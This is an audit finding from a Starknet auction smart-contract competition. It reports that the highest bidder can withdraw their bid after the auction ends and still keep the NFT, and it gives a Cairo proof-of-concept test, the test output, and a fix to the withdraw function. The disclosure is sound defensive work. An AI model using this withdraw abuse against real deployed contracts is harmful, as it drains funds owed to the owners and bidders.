Starknet Auction

First Flight #26
Beginner FriendlyNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Highest bidder can still withdraw and get back the bid token on top of owning the NFT

Summary

Highest bidder can still get back their bid token by making the call to withdraw function, allowing them to get and own the NFT for free

https://github.com/SiewLin-AIDeaBuddy/first-flight-2024-10-starknet-auction/blob/04f8a8b7f16edc7aeba06a3a6195e0257ddbefd0/src/starknet_auction.cairo#L131-L134

Vulnerability Details

The auction protocol will transfer the NFT to highest bidder when owner ends the auction. Owner shall then be able to withdraw the highest bid amount whilst other bidders could withdraw their unsuccessful bid tokens back. However, highest biddest could still call the withdraw function, allowing them to get back their bid token amount and still owns the NFT towards the ends. As the highest bidder makes the withdrawal which they are not supposed to, it causes other users including the owner who is eligible to make the withdraw could fail to withdraw their tokens back due to insufficient balance in the protocol.

Proof of concept:

In test\test_contract.cairo, add the following test case:

#[test]
#[should_panic(expected: 'ERC20: insufficient balance')]
fn test_audit_highest_bidder_can_still_withdraw() {
let (auction_dispatcher, auction_contract, erc20_contract_address, erc721_contract_address) = deploy_auction_contract();
let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
//The owner calls the start function and the auction begins.
auction_dispatcher.start(86400, 10);
// first bidder action
let first_bidder_address: ContractAddress = 123.try_into().unwrap();
start_cheat_caller_address_global(first_bidder_address);
erc20_dispatcher.mint(first_bidder_address, 15);
erc20_dispatcher.token_approve(auction_contract, 15);
auction_dispatcher.bid(15); // calls the bid function with amount of 15.
stop_cheat_caller_address_global();
// second bidder action
let second_bidder_address: ContractAddress = 456.try_into().unwrap();
start_cheat_caller_address_global(second_bidder_address);
erc20_dispatcher.mint(second_bidder_address, 18);
erc20_dispatcher.token_approve(auction_contract, 18);
auction_dispatcher.bid(18); // calls the bid function with amount of 18.
// Check the token balance after all biddings
let erc20_balance_after_all_bids = erc20_dispatcher.token_balance_of(auction_contract);
println!("erc20_balance_after_all_bids: {}", erc20_balance_after_all_bids);
// Check the token balance of the highest bidder (second-bidder) after bid
let erc20_balance_second_bidder_after_bid = erc20_dispatcher.token_balance_of(second_bidder_address);
assert(erc20_balance_second_bidder_after_bid == 0, 'Balance must be 0');
println!("erc20_balance_second_bidder_after_bid: {}", erc20_balance_second_bidder_after_bid);
// Check the nft balance of the highest bidder (second-bidder) after bid
let nft_balance_second_bidder_after_bid = erc721_dispatcher.balance_of(second_bidder_address);
assert(nft_balance_second_bidder_after_bid == 0, 'NFT balance must be 0');
println!("nft_balance_second_bidder_after_bid: {}", nft_balance_second_bidder_after_bid);
stop_cheat_caller_address_global();
let time = get_block_timestamp();
start_cheat_block_timestamp(auction_contract, time + 86401);
start_cheat_caller_address_global(auction_contract);
erc20_dispatcher.token_approve(auction_contract, 18);
erc20_dispatcher.token_approve(first_bidder_address, 15);
erc20_dispatcher.token_approve(second_bidder_address, 18);
erc721_dispatcher.approve(second_bidder_address, 1);
stop_cheat_caller_address_global();
// auction period ends
auction_dispatcher.end();
// highest bidder (second-bidder) makes withdrawal despite already owning the NFT
start_cheat_caller_address_global(second_bidder_address);
auction_dispatcher.withdraw();
stop_cheat_caller_address_global();
// Check the token balance of the highest bidder (second-bidder) after withdraw
let erc20_balance_second_bidder_after_withdraw = erc20_dispatcher.token_balance_of(second_bidder_address);
assert(erc20_balance_second_bidder_after_withdraw == 18, 'Balance must be 18');
println!("erc20_balance_second_bidder_after_withdraw: {}", erc20_balance_second_bidder_after_withdraw);
// Check the nft balance of the highest bidder after bid and after withdraw
let nft_balance_second_bidder_after_withdraw = erc721_dispatcher.balance_of(second_bidder_address);
assert(nft_balance_second_bidder_after_withdraw == 1, 'NFT balance must be 1');
println!("nft_balance_second_bidder_after_withdraw: {}", nft_balance_second_bidder_after_withdraw);
// owner's action to withdraw the highest bid token amount exchanging NFT for the token
auction_dispatcher.withdraw(); // expect to panic for `ERC20: insufficient balance`
stop_cheat_block_timestamp(auction_contract);
}

Run the test snforge test --features enable_for_tests test_audit_highest_bidder_can_still_withdraw

...
Collected 1 test(s) from starknet_auction package
Running 1 test(s) from tests/
erc20_balance_after_all_bids: 33
erc20_balance_second_bidder_after_bid: 0
nft_balance_second_bidder_after_bid: 0
erc20_balance_second_bidder_after_withdraw: 18
nft_balance_second_bidder_after_withdraw: 1
[PASS] starknet_auction_integrationtest::test_contract::test_audit_highest_bidder_can_still_withdraw (gas: ~2319)

The test passes, indicating that highest bidder is able to withdraw the bid amount of 18 and yet still owns the NFT. Whilst the owner who only makes the withdraw call after the highest bidder will fail to withdraw due to insufficient balance in the protocol. The test case supported the panic via #[should_panic(expected: 'ERC20: insufficient balance')]

Impact

Highest bidder could still withdraw the bid token despite already successfully bidding and owning the NFT whilst users who are eligible to withdraw their bid tokens back could fail to withdraw due to insufficient balance left in the protocol

Tools Used

Manual review with test

Recommendations

Make amendment to the withdraw function to disable highest bidder make withdrawal

fn withdraw(ref self: ContractState) {
assert(self.started.read(), 'Auction is not started');
assert(self.ended.read(), 'Auction is not ended');
let caller = get_caller_address();
let sender = get_contract_address();
let erc20_dispatcher = IERC20Dispatcher { contract_address: self.erc20_token.read() };
let amount = self.bid_values.entry(caller).read();
let amount_owner = self.highest_bid.read();
if caller == self.nft_owner.read() {
self.highest_bid.write(0);
erc20_dispatcher.transfer_from(sender, caller, amount_owner.into());
}
if amount > 0 {
+ assert(caller != self.highest_bidder.read(), 'Not eligible to withdraw');
let sender = get_contract_address();
erc20_dispatcher.transfer_from(sender, caller, amount.into());
}
self.emit(Withdraw {amount: amount, caller: caller});
}
Updates

Lead Judging Commences

bube Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

The `highest_bidder` can withdraw the value of all bids

The `withdraw` function allows the participants to receive back the value of all their unsuccessful bids. The problem is that the winner of the auction will receive all bids including the `highest_bid` that should be paid to the NFT owner.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.